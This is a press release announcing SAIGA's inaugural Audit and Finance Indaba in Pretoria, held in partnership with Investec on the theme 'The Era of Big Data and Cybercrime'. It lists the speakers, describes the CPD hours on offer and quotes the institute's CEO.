Johannesburg – The Southern African Institute of Government Auditors (SAIGA), in partnership with Investec, is pleased to announce that it will be hosting its inaugural Audit and Finance Indaba. The prestigious event, which is billed to bring together leading auditors and financial professionals from across the continent to discuss the latest trends, developments, and best practices in the field, is scheduled to take place at the Investec Pretoria Office on Friday, 15th of March 2024. 

 

The Institute has lined up high-profile speakers, who include Accountant General of South Africa and keynote speaker Shabeer Khan, Phillip Rakgwale, the Chief Audit Executive (Acting) City of Ekurhuleni, SAIPA Executive Prof Rashied Small, Accounting Standard Board CEO Jeanine Poggiolini, Sunday Times Deputy Editor Makhudu Sefara, Omar Kadwa, the Director at SNG Thornton and the CEO of IRBA, Imre Nagy, among others. 

 

Rakgwale will give a presentation on ‘Emerging trends on public sector audits in the past three years (2021-2023) both PFMA and MFMA’ while Nagy, will speak about the journey of rotational audits in South Africa: challenges & success stories. 

 

The theme for indaba is, ‘The Era of Big Data and Cybercrime’ and as part of the programme, SAIGA will also host a dedicated exhibition booth, where attendees can learn more about  professional body’s initiatives, publications and training programmes. In addition to insightful discussions and networking opportunities the half day hybrid event will offer attendees a chance to earn Continuing Professional Development (CPD) hours.  

There will be six CPD hours allocated to registered participants.

 

Russel Morena, the SAIGA Chief Executive Officer, said: “One of the cornerstones of the institute is to be a trusted advisor and capacity building partner to the public sector in areas related to development, service delivery, accountability, and governance, and to protect the interests of the public sector accounting and auditing. Therefore, this inaugural SAIGA Audit & Finance Indaba is inspired by the INTOSAI and IFAC ever-evolving standards and the South African legislative and Treasury frameworks.’

 

As the premier professional body for government auditors in the Southern African region, SAIGA is dedicated to fostering excellence and integrity in the public sector. Through this event, SAIGA aims to provide a platform for engaging with industry peers, exchanging knowledge and insights, and gaining valuable perspectives on the challenges and opportunities facing the profession.

 

Morena added  that the indaba, which will focus on the external audit and finance areas that impacts public entities and the role of the professional auditors and accountants, will offer a unique opportunity for SAIGA members, stakeholders, partners and industry professionals to network, learn and contribute to the global conversation on government auditing and finance. 

 

“We are excited to invite all industry professionals and stakeholders to join us at the Inaugural SAIGA Audit and Finance Indaba and we are confident that this event will contribute to the global conversation on government auditing and finance and showcase SAIGA’s expertise and thought leadership in the field. We look forward to welcoming you in Pretoria,” said Mr. Morena.

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